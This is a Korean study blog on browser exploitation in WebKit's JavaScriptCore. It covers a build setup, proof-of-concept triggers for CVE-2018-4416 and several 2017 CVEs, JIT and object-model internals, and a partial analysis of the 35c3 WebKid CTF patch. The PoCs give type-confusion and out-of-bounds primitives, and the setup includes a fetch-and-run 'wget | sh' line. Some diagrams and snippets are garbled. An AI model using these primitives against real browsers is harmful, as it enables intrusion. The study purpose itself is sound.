
WebKit jsc CVE-2018-4416을 위한 CVE 익스플로잇
비교적 쉬운 것으로 /WebKit/을 선택했습니다. (ChakraCore가 더 쉬울 수도 있습니다. 하지만 Microsoft가 프로젝트를 취소한다는 소문이 있어 선택하지 않기로 했습니다.)
/WebKit/ 보안을 공부한 내용을 기록하기 위해 일련의 게시물을 작성할 예정입니다. 브라우저 보안을 처음 배우는 것이므로, 제 게시물에는 아마도 많은 실수가 있을 것입니다. 발견하시면 주저하지 말고 연락 주셔서 수정해 주시기 바랍니다.
읽기 전에 알아야 할 사항: - C++ 문법 - 어셈블리 언어 문법 - 가상 머신 설치 - Ubuntu 및 명령줄에 익숙함 - 기본 컴파일 이론 개념
** Virtual Machine :PROPERTIES: :CUSTOM_ID: virtual-machine :END: 먼저 테스트 대상으로 사용할 VM을 설치해야 합니다. 여기서는 /Ubuntu 18.04 LTS/와 /Ubuntu 16.04 LTS/를 대상 호스트로 선택했습니다. [[https://www.ubuntu.com/][여기]]에서 다운로드할 수 있습니다. 버전을 명시하지 않은 경우 기본 버전으로 18.04 LTS를 사용하세요.
Mac이 XCode와 Safari가 있어 더 적합할 수 있습니다. 하지만 MacOS의 높은 리소스 소모와 불안정한 업데이트를 고려하여, 저는 Ubuntu를 사용하기로 했습니다.
VM 소프트웨어가 필요합니다. 저는 [[https://www.vmware.com/][VMWare]]를 선호합니다. Parallel Desktop과 VirtualBox(무료)도 괜찮습니다. 개인 취향에 따라 선택하세요.
VMWare에 Ubuntu를 설치하는 방법을 단계별로 설명하지는 않겠습니다. 하지만 컴파일에는 많은 리소스가 필요하므로 가능한 많은 메모리와 CPU를 할당하라는 점을 알려드립니다. 소스 코드와 컴파일된 파일을 저장하려면 80GB 디스크면 충분합니다.
** Source Code :PROPERTIES: :CUSTOM_ID: source-code :END: WebKit 소스 코드는 세 가지 방법으로 다운로드할 수 있습니다: [[https://github.com/WebKit/webkit][/git/]], /svn/, 그리고 [[https://webkit.org/getting-the-code/][/archive/]].
WebKit의 기본 버전 관리자는 svn입니다. 하지만 저는 git을 선택했습니다(svn 사용이 너무 낯설어서):
#+begin_example git clone git://git.webkit.org/WebKit.git WebKit #+end_example
** Debugger and Editor :PROPERTIES: :CUSTOM_ID: debugger-and-editor :END: IDE는 많은 리소스를 소모하므로, 저는 소스 코드 편집에 vim을 사용합니다.
제가 본 대부분의 디버그 작업은 제게 익숙하지 않은 lldb를 사용합니다. 따라서 저도 gdb를 gef 플러그인과 함께 설치합니다.
#+begin_src shell sudo apt install vim gdb lldb wget -q -O- https://github.com/hugsy/gef/raw/master/scripts/gef.sh | sh #+end_src
** Test :PROPERTIES: :CUSTOM_ID: test :END: *** Compiling JavaScriptCore :PROPERTIES: :CUSTOM_ID: compiling-javascriptcore :END: 전체 WebKit을 컴파일하는 데는 많은 시간이 소요됩니다. 현재는 대부분의 취약점이 발생하는 JSC(JavaScript Core)만 컴파일합니다.
이제 WebKit 소스 코드의 루트 디렉터리에 있어야 합니다. 다음을 실행하여 의존성을 준비합니다:
#+begin_src shell Tools/gtk/install-dependencies #+end_src
아직 전체 WebKit을 컴파일하지는 않았지만, 향후 테스트를 위해 나머지 의존성을 먼저 설치할 수 있습니다. JSC 컴파일에 시간을 많이 쓰고 싶지 않다면 이 단계는 필수가 아닙니다:
#+begin_src shell Tools/Scripts/update-webkitgtk-libs #+end_src
그런 다음 JSC를 컴파일합니다:
#+begin_src shell Tools/Scripts/build-webkit --jsc-only #+end_src
몇 분 후, JSC를 다음과 같이 실행할 수 있습니다:
#+begin_src shell WebKitBuild/Release/bin/jsc #+end_src
몇 가지 테스트를 해보겠습니다:
#+begin_example
1+1 2 var obj = {a:1, b:"test"} undefined JSON.stringify(obj) {"a":1,"b":"test"} #+end_example
*** Triggering Bugs :PROPERTIES: :CUSTOM_ID: triggering-bugs :END:
#+begin_quote Ubuntu 18.04 LTS #+end_quote
테스트를 위해 [[https://bugs.chromium.org/p/project-zero/issues/detail?id=1652][CVE-2018-4416]] 을 사용합니다. PoC는 다음과 같습니다. =jsc=와 같은 폴더에 =poc.js=로 저장합니다:
#+begin_example function gc() { for (let i = 0; i < 10; i++) { let ab = new ArrayBuffer(1024 * 1024 * 10); } }
function opt(obj) { // 최적화 시작 for (let i = 0; i < 500; i++) {
}
let tmp = {a: 1};
gc();
tmp.__proto__ = {};
for (let k in tmp) { // "tmp"의 구조 ID는 JSPropertyNameEnumerator에 저장됩니다.
tmp.__proto__ = {};
gc();
obj.__proto__ = {}; // "obj"의 구조 ID는 tmp와 동일합니다.
return obj[k]; // 타입 혼동
}
}
opt({});
let fake_object_memory = new Uint32Array(100); fake_object_memory[0] = 0x1234;
let fake_object = opt(fake_object_memory); print(fake_object); #+end_example
먼저 취약한 버전으로 전환합니다:
#+begin_example git checkout -b CVE-2018-4416 034abace7ab #+end_example
#+begin_quote 컴파일하는 것보다 더 오래 걸릴 수 있습니다. #+end_quote
실행: =./jsc poc.js=, 그러면 다음과 같은 결과를 얻습니다:
#+begin_example ASSERTION FAILED: structureID < m_capacity ../../Source/JavaScriptCore/runtime/StructureIDTable.h(129) : JSC::Structure* JSC::StructureIDTable::get(JSC::StructureID) 1 0x7f055ef18c3c WTFReportBacktrace 2 0x7f055ef18eb4 WTFCrash 3 0x7f055ef18ec4 WTFIsDebuggerAttached 4 0x5624a900451c JSC::StructureIDTable::get(unsigned int) 5 0x7f055e86f146 bool JSC::JSObject::getPropertySlot(JSC::ExecState*, JSC::PropertyName, JSC::PropertySlot&) 6 0x7f055e85cf64 7 0x7f055e846693 JSC::JSObject::toPrimitive(JSC::ExecState*, JSC::PreferredPrimitiveType) const 8 0x7f055e7476bb JSC::JSCell::toPrimitive(JSC::ExecState*, JSC::PreferredPrimitiveType) const 9 0x7f055e745ac8 JSC::JSValue::toStringSlowCase(JSC::ExecState*, bool) const 10 0x5624a900b3f1 JSC::JSValue::toString(JSC::ExecState*) const 11 0x5624a8fcc3a9 12 0x5624a8fcc70c 13 0x7f05131fe177 Illegal instruction (core dumped) #+end_example
최신 버전에서 실행하면(=git checkout master=로 되돌리고, 빌드 내용 삭제 =rm -rf WebKitBuild/Relase/= 및 =rm -rf WebKitBuild/Debug/=):
#+begin_example ./jsc poc.js WARNING: ASAN interferes with JSC signal handlers; useWebAssemblyFastMemory will be disabled. OK undefined
================================================================= ==96575==ERROR: LeakSanitizer: detected memory leaks
Direct leak of 96 byte(s) in 3 object(s) allocated from: #0 0x7fe1f579e458 in operator new(unsigned long) (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xe0458) #1 0x7fe1f2db7cc8 in __gnu_cxx::new_allocator<std::_Sp_counted_deleter<std::mutex*, std::__shared_ptr<std::mutex, (__gnu_cxx::_Lock_policy)2>::_Deleter<std::allocatorstd::mutex >, std::allocatorstd::mutex, (__gnu_cxx::_Lock_policy)2> >::allocate(unsigned long, void const*) (/home/browserbox/WebKit/WebKitBuild/Debug/lib/libJavaScriptCore.so.1+0x5876cc8) #2 0x7fe1f2db7a7a in std::allocator_traits<std::allocator<std::_Sp_counted_deleter<std::mutex*, std::__shared_ptr<std::mutex, (__gnu_cxx::_Lock_policy)2>::_Deleter<std::allocatorstd::mutex >, std::allocatorstd::mutex, (__gnu_cxx::_Lock_policy)2> > >::allocate(std::allocator<std::_Sp_counted_deleter<std::mutex*, std::__shared_ptr<std::mutex, (__gnu_cxx::_Lock_policy)2>::_Deleter<std::allocatorstd::mutex >, std::allocatorstd::mutex, (__gnu_cxx::_Lock_policy)2> >) (/home/browserbox/WebKit/WebKitBuild/Debug/lib/libJavaScriptCore.so.1+0x5876cc8)
... // 많은 오류 메시지
SUMMARY: AddressSanitizer: 216 byte(s) leaked in 6 allocation(s). #+end_example
이제 버그 트리거에 성공했습니다!
자세한 내용은 설명하지 않겠습니다(저도 모릅니다). 몇 주 후에 근본 원인을 알 수 있기를 바랍니다.
여기서는 바이너리 수준 관련 버그만 다룹니다. /URL 스푸핑/이나 /UXSS/와 같은 상위 수준 버그는 주제에 포함되지 않습니다. 아래 예제는 WebKit에만 국한되지 않습니다. 일부는 Chrome의 버그입니다. 간략히 소개하고, 이후에 PoC를 구체적으로 분석하겠습니다.
이 부분을 읽기 전에 컴파일러 이론에 대한 자료를 읽어보시기를 강력히 권장합니다. 기본적인 Pwn 지식도 익혀두셔야 합니다. 제 설명이 명확하지 않을 수 있습니다. 다시 말씀드리지만, 오류를 발견하시면 수정해 주시기 바랍니다.
이 게시물은 JSC에 대한 이해가 깊어짐에 따라 여러 번 업데이트될 예정입니다. 나중에 다시 확인하는 것을 잊지 마세요.
** 1. Use After Free :PROPERTIES: :CUSTOM_ID: use-after-free :END: 일명 =UAF=입니다. CTF 챌린지에서 흔히 볼 수 있는 전형적인 시나리오입니다:
#+begin_src C char* a = malloc(0x100); free(a); printf("%s", a); #+end_src
일부 논리 오류로 인해 코드가 해제된 메모리를 재사용합니다. 일반적으로 해제된 메모리를 제어할 수 있게 되면 누수나 쓰기가 가능합니다.
CVE-2017-13791은 WebKit UAF의 예입니다. PoC는 다음과 같습니다:
#+begin_example
a b #+end_example** 2. Out of Bound :PROPERTIES: :CUSTOM_ID: out-of-bound :END: 일명 =OOB=입니다. 브라우저에서의 오버플로와 유사합니다. 여전히 인접 메모리를 읽거나 쓸 수 있습니다. =OOB=는 배열의 잘못된 최적화나 불충분한 검사에서 자주 발생합니다. 예를 들어([[https://bugs.chromium.org/p/project-zero/issues/detail?id=1033][CVE-2017-2447]]):
#+begin_example var ba; function s(){ ba = this; }
function dummy(){ alert("just a function"); }
Object.defineProperty(Array.prototype, "0", {set : s }); var f = dummy.bind({}, 1, 2, 3, 4); ba.length = 100000; f(1, 2, 3); #+end_example
#+begin_quote Function.bind가 호출되면 호출 인수가 JSBoundFunction::JSBoundFunction으로 전달되기 전에 Array로 전송됩니다. Array 프로토타입에 setter가 추가되었을 수 있으므로, 사용자 스크립트가 이 Array에 대한 참조를 얻고, 길이가 백업 네이티브 버터플라이 배열보다 길게 변경하는 것이 가능합니다. 그런 다음 boundFunctionCall이 이 배열을 호출 매개변수로 복사하려고 할 때, 길이가 할당된 배열보다 길지 않다고 가정하고(변경되지 않았다면 사실일 것임) 경계를 벗어나 읽습니다. #+end_quote
대부분의 경우 =$RIP= 레지스터를 직접 덮어쓸 수는 없습니다. 익스플로잇 작성자는 항상 가짜 배열을 만들어 부분 읽기/쓰기를 임의 읽기/쓰기로 전환합니다.
** 3. Type Confusion :PROPERTIES: :CUSTOM_ID: type-confusion :END: 컴파일러가 있는 애플리케이션에서 발생하는 특별한 취약점입니다. 이 버그는 설명하기가 약간 까다롭습니다.
다음 객체(32비트)를 상상해 보세요:
#+begin_src C struct example{ int length; char *content; } #+end_src
그런 다음 메모리에 =length= == =5=이고 =content= 포인터 객체가 있는 경우 다음과 같이 표시될 수 있습니다:
#+begin_example 0x00: 0x00000005 -> length 0x04: 0xdeadbeef -> pointer #+end_example
다른 객체가 있을 경우:
#+begin_src C struct exploit{ int length; void (*exp)(); } #+end_src
컴파일러가 =example= 객체를 =exploit= 객체로 파싱하도록 강제할 수 있습니다. =exp= 함수를 임의의 주소로 바꾸고 RCE를 실행할 수 있습니다.
타입 혼동의 예:
#+begin_example var q; function g(){ q = g.caller; return 7; }
var a = [1, 2, 3]; a.length = 4; Object.defineProperty(Array.prototype, "3", {get : g}); [4, 5, 6].concat(a); q(0x77777777, 0x77777777, 0); #+end_example
[[https://bugs.chromium.org/p/project-zero/issues/detail?id=1032][CVE-2017-2446]]에서 인용
#+begin_quote webkit의 내장 스크립트가 strict 모드에 있지만 엄격하지 않은 함수를 호출하면, 이 함수는 Function.caller를 호출할 수 있으며 strict 함수에 대한 참조를 얻을 수 있습니다. #+end_quote
** 4. Integer Overflow :PROPERTIES: :CUSTOM_ID: integer-overflow :END: Integer Overflow는 CTF에서도 흔합니다. Integer Overflow 자체로는 RCE로 이어지지 않지만, 일반적으로 =OOB=로 이어질 수 있습니다.
이 버그를 이해하는 것은 어렵지 않습니다. 32비트 시스템에서 아래 코드를 실행한다고 상상해 보세요:
#+begin_example mov eax, 0xffffffff add eax, 2 #+end_example
=eax=의 최대값은 =0xffffffff=이므로 =0xffffffff= + =2= = =0x100000001=을 저장할 수 없습니다. 따라서 상위 바이트가 오버플로(제거)됩니다. 최종 =eax= 값은 =0x00000001=입니다.
다음은 WebKit의 예입니다([[https://phoenhex.re/2017-06-02/arrayspread][CVE-2017-2536]]):
#+begin_example var a = new Array(0x7fffffff); var x = [13, 37, ...a, ...a]; #+end_example
#+begin_quote 길이가 올바르게 검사되지 않아 배열을 이전 배열로 확장하여 길이를 오버플로할 수 있습니다. 그런 다음 확장된 배열을 사용하여 =OOB=를 수행할 수 있습니다. #+end_quote
** 5. Else :PROPERTIES: :CUSTOM_ID: else :END: 분류하기 어려운 버그도 있습니다: - 경쟁 조건(Race Condition) - 할당되지 않은 메모리(Unallocated Memory) - ...
이에 대해서는 나중에 자세히 설명하겠습니다.
그리고 JSC는 다음을 가지고 있습니다: - 렉서(lexer) - 파서(parser) - 시작 인터프리터 (LLInt) - 세 개의 JavaScript JIT 컴파일러: 컴파일 시간은 점점 길어지지만 실행 속도는 점점 빨라집니다: + baseline JIT, 초기 JIT + 저지연 최적화 JIT (DFG) + 고처리량 최적화 JIT (FTL), JIT의 최종 단계 - 두 개의 WebAssembly 실행 엔진: + BBQ + OMG
#+begin_quote 여전히 면책 조항입니다. 이 게시물은 WebKit 메커니즘을 설명하는 데 부정확하거나 틀릴 수 있습니다. #+end_quote
기본 컴파일 이론 과정을 배웠다면, 렉서와 파서는 수업에서 배운 것과 동일합니다. 하지만 코드 생성 부분은 까다롭습니다. 인터프리터 하나와 컴파일러 세 개가 있다니, 대체? JSC에는 또한 다른 많은 비전통적인 기능이 있습니다. 한번 살펴보겠습니다:
** JSC Value Representation :PROPERTIES: :CUSTOM_ID: jsc-value-representation :END: 더 쉽게 식별하기 위해 JSC의 값은 다르게 표현됩니다: - 포인터 : =0000:PPPP:PPPP:PPPP= (0000으로 시작, 그 다음 주소) - double (0001 또는 FFFE로 시작): + =0001:::= + =FFFE:::= - 정수: =FFFF:0000:IIII:IIII= (=IIII:IIII=로 값 저장) - false: =0x06= - true: =0x07= - undefined: =0x0a= - null: =0x02=
=0x0=은 유효한 값이 아니며 충돌을 일으킬 수 있습니다.
** JSC Object Model :PROPERTIES: :CUSTOM_ID: jsc-object-model :END: Java와 달리 고정된 클래스 멤버가 있는 JavaScript는 언제든지 속성을 추가할 수 있습니다.
따라서 전통적으로 속성을 정적으로 정렬하는 것과 달리 JSC는 동적 속성을 추가하기 위한 *버터플라이 포인터(butterfly pointer)*를 가지고 있습니다. 추가 배열과 같습니다. 여러 상황에서 설명해 보겠습니다.
또한 JSArray는 동적으로 변경되므로 항상 버터플라이 포인터에 할당됩니다.
다음 그래프를 통해 개념을 쉽게 이해할 수 있습니다:
*** 0x0 Fast JSObject :PROPERTIES: :CUSTOM_ID: x0-fast-jsobject :END: 속성이 초기화됩니다:
#+begin_example var o = {f: 5, g: 6}; #+end_example
여기서는 정적 속성만 있으므로 버터플라이 포인터는 null이 됩니다:
#+end_example
JSObject에 대한 지식을 확장해 보겠습니다. 보시다시피 각 =structure ID=에는 일치하는 구조 테이블이 있습니다. 테이블 안에는 속성 이름과 그 오프셋이 포함되어 있습니다. 이전 객체 =o=에서 테이블은 다음과 같습니다:
| property name | location | |---------------+-----------| | "f" | inline(0) | | "g" | inline(1) |
값을 검색할 때(예: =var v = o.f=), 다음 동작이 발생합니다:
#+begin_src cpp if (o->structureID == 42) v = o->inlineStorage[0] else v = slowGet(o, “f”) #+end_src
컴파일러가 =ID=가 =42=임을 알 때 오프셋을 통해 직접 값을 검색하는 이유가 궁금할 수 있습니다. 이것은 *인라인 캐싱(inline caching)*이라는 메커니즘으로, 더 빠르게 값을 가져오는 데 도움을 줍니다. 이에 대해 자세히 설명하지는 않겠습니다. 자세한 내용은 [[http://www.filpizlo.com/slides/pizlo-icooolps2018-inline-caches-slides.pdf][여기]]를 클릭하세요.
*** 0x1 JSObject with dynamically added fields :PROPERTIES: :CUSTOM_ID: x1-jsobject-with-dynamically-added-fields :END: #+begin_example var o = {f: 5, g: 6}; o.h = 7; #+end_example
이제 버터플라이에 슬롯(7)이 있습니다.
#+end_example
*** 0x2 JSArray with room for 3 array elements :PROPERTIES: :CUSTOM_ID: x2-jsarray-with-room-for-3-array-elements :END: #+begin_example var a = []; #+end_example
버터플라이는 배열을 예상 크기로 초기화합니다. 첫 번째 요소 =0=은 사용된 슬롯 수를 의미합니다. =3=은 최대 슬롯 수를 의미합니다:
| butterfly | -| ------------- -------------- | | 0 | | ------------- (두 요소에 대해 8비트) | | 3 | -> ------------- | | ------------- | | ------------- | | ------------- #+end_example
*** 0x3 Object with fast properties and array elements :PROPERTIES: :CUSTOM_ID: x3-object-with-fast-properties-and-array-elements :END: #+begin_example var o = {f: 5, g: 6}; o[0] = 7; #+end_example
배열의 한 요소를 채웠으므로 =0=(사용된 슬롯)이 이제 =1=로 증가합니다:
| butterfly | -| ------------- -------------- | | 1 | | 0xffff000 | | ------------- | 000000005 | | | 3 | -------------- -> ------------- | 0xffff000 | | 0xffff000 | | 000000006 | | 000000007 |
| <hole> |
-------------
| <hole> |
-------------
#+end_example*** 0x4 빠르고 동적인 속성 및 배열 요소를 가진 객체 :PROPERTIES: :CUSTOM_ID: x4-object-with-fast-and-dynamic-properties-and-array-elements :END: #+begin_example var o = {f: 5, g: 6}; o[0] = 7; o.h = 8; #+end_example
새 멤버는 포인터 주소 앞에 추가됩니다. 배열은 버터플라이 포인터의 오른쪽에, 속성은 왼쪽에 배치됩니다. 마치 나비의 날개처럼 말이죠:
| 버터플라이 | -| ------------- -------------- | | 0xffff000 | | 0xffff000 | | | 000000008 | | 000000005 | | ------------- -------------- | | 1 | | 0xffff000 | | ------------- | 000000006 | | | 2 | -------------- -> ------------- (포인터 주소) | 0xffff000 | | 000000007 | ------------- | <구멍> | ------------- #+end_example
*** 0x5 동적 속성 및 배열 요소를 가진 이국적인 객체 :PROPERTIES: :CUSTOM_ID: x5-exotic-object-with-dynamic-properties-and-array-elements :END: #+begin_example var o = new Date(); o[0] = 7; o.h = 8; #+end_example
기본 클래스로 버터플라이를 확장합니다. 정적 속성은 변경되지 않습니다:
| 버터플라이 | -| ------------- -------------- | | 0xffff000 | | < C++ | | | 000000008 | | 상태 > | -> ------------- -------------- | 1 | | < C++ | ------------- | 상태 > | | 2 |
| 0xffff000 |
| 000000007 |
-------------
| <구멍> |
-------------
#+end_example
** 타입 추론 :PROPERTIES: :CUSTOM_ID: type-inference :END: JavaScript는 약하고 동적인 타입 언어입니다. 컴파일러는 타입 추론에서 많은 작업을 수행하여 매우 복잡해집니다.
*** 워치포인트 :PROPERTIES: :CUSTOM_ID: watchpoints :END: 워치포인트는 다음과 같은 경우에 발생할 수 있습니다: - haveABadTime - 구조체 전환 - 추론된 값(InferredValue) - 추론된 타입(InferredType) - 기타 여러 경우...
위 상황이 발생하면 워치포인트가 최적화되었는지 확인합니다. WebKit에서는 다음과 같이 표현됩니다:
#+begin_src cpp class Watchpoint { public: virtual void fire() = 0; }; #+end_src
예를 들어, 컴파일러가 =42.toString()=을 ="42"=로 최적화하려고 할 때(코드를 사용하여 변환하는 대신 직접 반환) 이미 무효화되었는지 확인합니다. 유효하면 워치포인트를 등록하고 최적화를 수행합니다.
** 컴파일러 :PROPERTIES: :CUSTOM_ID: compilers :END: *** 0x0. LLInt :PROPERTIES: :CUSTOM_ID: x0.-llint :END: 처음에는 인터프리터가 바이트코드 템플릿을 생성합니다. JVM을 예로 들면, =.class= 파일을 실행하는데, 이는 다른 종류의 바이트코드 템플릿입니다. 바이트코드는 실행을 더 쉽게 만듭니다:
#+begin_example parser -> bytecompiler -> generatorfication -> bytecode linker -> LLInt #+end_example
*** 0x1. Baseline JIT 및 바이트코드 템플릿 :PROPERTIES: :CUSTOM_ID: x1.-baseline-jit-and-byte-code-template :END: 가장 기본적인 JIT입니다. 여기서 =바이트코드 템플릿=을 생성합니다. 예를 들어, 자바스크립트의 /add/ 입니다:
#+begin_example function foo(a, b) { return a + b; } #+end_example
이것은 바이트코드 IL입니다. 복잡한 렉스 없이 더 직관적이며 asm으로 변환하기에 더 편리합니다:
#+begin_example [ 0] enter [ 1] get_scope loc3 [ 3] mov loc4, loc3 [ 6] check_traps [ 7] add loc6, arg1, arg2 [12] ret loc6 #+end_example
코드 세그먼트 =7=과 =12=는 다음과 같은 DFG IL을 생성할 수 있습니다(다음에 설명합니다). 연산 시 많은 타입 관련 정보가 포함되어 있음을 알 수 있습니다. 4번째 줄에서 코드는 반환 타입이 일치하는지 확인합니다:
#+begin_src cpp GetLocal(Untyped:@1, arg1(B/FlushedInt32), R:Stack(6), bc#7); GetLocal(Untyped:@2, arg2(C/FlushedInt32), R:Stack(7), bc#7); ArithAdd(Int32:@23, Int32:@24, CheckOverflow, Exits, bc#7); MovHint(Untyped:@25, loc6, W:SideState, ClobbersExit, bc#7, ExitInvalid); Return(Untyped:@25, W:SideState, Exits, bc#12); #+end_src
AST는 다음과 같습니다:
#+begin_example +----------+ | return | +----+-----+ | | +----+-----+ | add | +----------+ | | | | v v +--+---+ +-+----+ | arg1 | | arg2 | +------+ +------+ #+end_example
*** 0x2. DFG :PROPERTIES: :CUSTOM_ID: x2.-dfg :END: JSC가 함수가 몇 번 실행되었음을 감지하면 다음 단계로 넘어갑니다. 첫 번째 단계에서 이미 바이트코드를 생성했습니다. 따라서 DFG 파서가 바이트코드를 직접 파싱하며, 더 추상적이지 않고 파싱하기 쉽습니다. 그런 다음 DFG는 최적화하고 코드를 생성합니다:
#+begin_example DFG bytecode parser -> DFG optimizer -> DFG Backend #+end_example
이 단계에서는 코드가 여러 번 실행되며, 타입은 비교적 일정합니다. 타입 검사는 OSR을 사용합니다.
다음에서 최적화한다고 상상해보십시오:
#+begin_src cpp int foo(int* ptr) { int w, x, y, z; w = ... // 많은 작업
x = is_ok(ptr) ? *ptr : slow_path(ptr); y = ... // 많은 작업 z = is_ok(ptr) ? *ptr : slow_path(ptr); return w + x + y + z; } #+end_src
다음으로 최적화:
#+begin_src cpp int foo(int* ptr) { int w, x, y, z; w = ... // 많은 작업
if (!is_ok(ptr)) return foo_base1(ptr, w); x = *ptr; y = ... // 많은 작업 z = *ptr; return w + x + y + z; } #+end_src
=ptr=이 타입 검사를 한 번만 수행하므로 코드가 더 빠르게 실행됩니다. 하지만 /ptr/의 타입이 항상 다른 경우, 잦은 탈출(bailing out)로 인해 최적화된 코드가 더 느리게 실행됩니다. 따라서 코드가 수천 번 실행될 때만 브라우저는 =OSR=을 사용하여 최적화합니다.
*** 0x3. FLT :PROPERTIES: :CUSTOM_ID: x3.-flt :END: 함수가 수백 또는 수천 번 실행되면 JIT는 FLT를 사용합니다. DFG와 마찬가지로 FLT는 바이트코드 템플릿을 재사용하지만 더 깊은 최적화를 수행합니다:
#+begin_example DFG bytecode parser -> DFG optimizer -> DFG-to-B3 lowering -> B3 Optimizer -> Instruction Selection -> Air Optimizer -> Air Backend #+end_example
*** 0x4. 최적화에 대해 더 알아보기 :PROPERTIES: :CUSTOM_ID: x4.-more-about-optimization :END: 다양한 최적화 단계에서 IR의 변화를 살펴보겠습니다:
| IR | 스타일 | 예시 | |----------+-------------------------+-----------------------------------------------| | Bytecode | 높은 수준의 Load/Store | =bitor dst, left, right= | | DFG | 중간 수준의 이국적인 SSA | =dst: BitOr(Int32:@left, Int32:@right, ...)= | | B3 | 낮은 수준의 일반 SSA | =Int32 @dst = BitOr(@left, @right)= | | Air | 아키텍처적인 CISC | =Or32 %src, %dest= |
타입 검사는 점차 제거됩니다. 이제 브라우저 CVE에서 왜 그렇게 많은 타입 혼동이 발생하는지 이해할 수 있을 것입니다. 게다가 점점 더 기계어와 유사해집니다.
타입 검사가 실패하면 코드는 이전 IR로 돌아갑니다(예: B3 단계에서 타입 검사가 실패하면 컴파일러는 DFG로 돌아가서 해당 단계에서 실행됩니다).
** 가비지 컬렉터 (TODO) :PROPERTIES: :CUSTOM_ID: garbage-collector-todo :END: JSC의 힙은 GC를 기반으로 합니다. 힙의 객체는 참조 카운터를 가지고 있습니다. GC는 힙을 스캔하여 사용되지 않는 메모리를 수집합니다.
...아직 자료가 더 필요합니다...
이 챌린지는 35c3 CTF의 WebKid입니다. WebKit 바이너리(설명 포함), 준비된 VM, 그리고 공격 코드는 [[https://github.com/saelo/35c3ctf/tree/master/WebKid][여기]]에서 구할 수 있습니다. 또한 macOS Mojave (10.14.2)를 VM 또는 실제 머신에 준비해야 합니다 (macOS의 다른 버전에서 충돌에는 영향을 미치지 않을 것으로 생각되지만, 공격 프리미티브는 다를 수 있습니다).
다음 명령어로 실행합니다:
#+begin_src shell DYLD_LIBRARY_PATH=/Path/to/WebKid DYLD_FRAMEWORK_PATH=/Path/to/WebKid /Path/to/WebKid/MiniBrowser.app/Contents/MacOS/MiniBrowser #+end_src
#+begin_quote 전체 경로를 사용하는 것을 잊지 마세요. 그렇지 않으면 브라우저가 충돌합니다. #+end_quote
로컬 머신에서 실행하는 경우, 테스트를 위해 =/flag1=을 생성하는 것을 잊지 마세요.
** 분석 :PROPERTIES: :CUSTOM_ID: analyzing :END: 패치를 살펴보겠습니다:
#+begin_example diff --git a/Source/JavaScriptCore/runtime/JSObject.cpp b/Source/JavaScriptCore/runtime/JSObject.cpp index 20fcd4032ce..a75e4ef47ba 100644 --- a/Source/JavaScriptCore/runtime/JSObject.cpp +++ b/Source/JavaScriptCore/runtime/JSObject.cpp @@ -1920,6 +1920,31 @@ bool JSObject::hasPropertyGeneric(ExecState* exec, unsigned propertyName, Proper return const_cast<JSObject*>(this)->getPropertySlot(exec, propertyName, slot); }
+static bool tryDeletePropertyQuickly(VM& vm, JSObject* thisObject, Structure* structure, PropertyName propertyName, unsigned attributes, PropertyOffset offset) +{
return false;
return false;
ASSERT(!previous->hasIndexingHeader(thisObject) && structure->outOfLineCapacity() > 0 && previous->outOfLineCapacity() == 0);
thisObject->setButterfly(vm, nullptr);
// ECMA 8.6.2.5 bool JSObject::deleteProperty(JSCell* cell, ExecState* exec, PropertyName propertyName) { @@ -1946,18 +1971,21 @@ bool JSObject::deleteProperty(JSCell* cell, ExecState* exec, PropertyName proper
Structure* structure = thisObject->structure(vm);
PropertyOffset offset;
if (structure->isUncacheableDictionary())
if (structure->isUncacheableDictionary()) {
offset = structure->removePropertyWithoutTransition(vm, propertyName, [] (const ConcurrentJSLocker&, PropertyOffset) { });
else
thisObject->setStructure(vm, Structure::removePropertyTransition(vm, structure, propertyName, offset));
} else {
if (!tryDeletePropertyQuickly(vm, thisObject, structure, propertyName, attributes, offset)) {
thisObject->setStructure(vm, Structure::removePropertyTransition(vm, structure, propertyName, offset));
}
}
if (offset != invalidOffset)
if (offset != invalidOffset && (!isOutOfLineOffset(offset) || thisObject->butterfly()))
thisObject->locationForOffset(offset)->clear();
diff --git a/Source/WebKit/WebProcess/com.apple.WebProcess.sb.in b/Source/WebKit/WebProcess/com.apple.WebProcess.sb.in index 536481ecd6a..62189fea227 100644 --- a/Source/WebKit/WebProcess/com.apple.WebProcess.sb.in +++ b/Source/WebKit/WebProcess/com.apple.WebProcess.sb.in @@ -25,6 +25,12 @@ (deny default (with partial-symbolication)) (allow system-audit file-read-metadata)
+(allow file-read* (literal "/flag1")) + +(allow mach-lookup (global-name "net.saelo.shelld")) +(allow mach-lookup (global-name "net.saelo.capsd")) +(allow mach-lookup (global-name "net.saelo.capsd.xpc")) + #if PLATFORM(MAC) && __MAC_OS_X_VERSION_MIN_REQUIRED < 101300 (import "system.sb") #else #+end_example
가장 큰 문제는 =tryDeletePropertyQuickly= 함수에 관한 것입니다. 이 함수는 다음과 같이 동작합니다(/Linus Henze/의 주석 제공):
#+begin_src cpp static bool tryDeletePropertyQuickly(VM& vm, JSObject* thisObject, Structure* structure, PropertyName propertyName, unsigned attributes, PropertyOffset offset) { // 이 단언은 유효하지 않은 오프셋을 전달하지 않는 한 항상 참입니다. ASSERT(isInlineOffset(offset) || isOutOfLineOffset(offset));
// 이 객체의 이전 구조체를 가져오려고 시도합니다.
Structure* previous = structure->previousID();
if (!previous)
return false; // 이전 구조체가 없으면 여기서 멈춥니다.
unsigned unused;
// 우리가 삭제하려는 속성이 마지막으로 추가된 속성인지 확인합니다.
// 이전 구조체가 이 속성을 가지고 있지 않다면 이것이 반드시 그래야 합니다.
bool isLastAddedProperty = !isValidOffset(previous->get(vm, propertyName, unused));
if (!isLastAddedProperty)
return false; // 마지막 속성이 아닙니까? 여기서 멈추고 일반적인 방법으로 삭제합니다.
// 마지막 구조체에 속성을 추가하면 현재 구조체가 된다는 것을 단언합니다.
RELEASE_ASSERT(Structure::addPropertyTransition(vm, previous, propertyName, attributes, offset) == structure);
// 중요하지 않습니다. 기본적으로, 이것은 배열이 아니고 마지막 아웃오브라인 속성을 삭제하도록 요청받은 경우 이 객체의 Butterfly를 삭제합니다. Butterfly는 더 이상 속성이 저장되지 않으므로 쓸모없어져서 삭제할 수 있습니다.
if (offset == firstOutOfLineOffset && !structure->hasIndexingHeader(thisObject)) {
ASSERT(!previous->hasIndexingHeader(thisObject) && structure->outOfLineCapacity() > 0 && previous->outOfLineCapacity() == 0);
thisObject->setButterfly(vm, nullptr);
}
// 이 객체의 구조체를 직접 설정합니다.
thisObject->setStructure(vm, previous);
return true;
} #+end_src
간단히 말해, 객체는 이전에 추가된 속성을 삭제함으로써 이전 구조체 ID로 되돌아갑니다. 예를 들어:
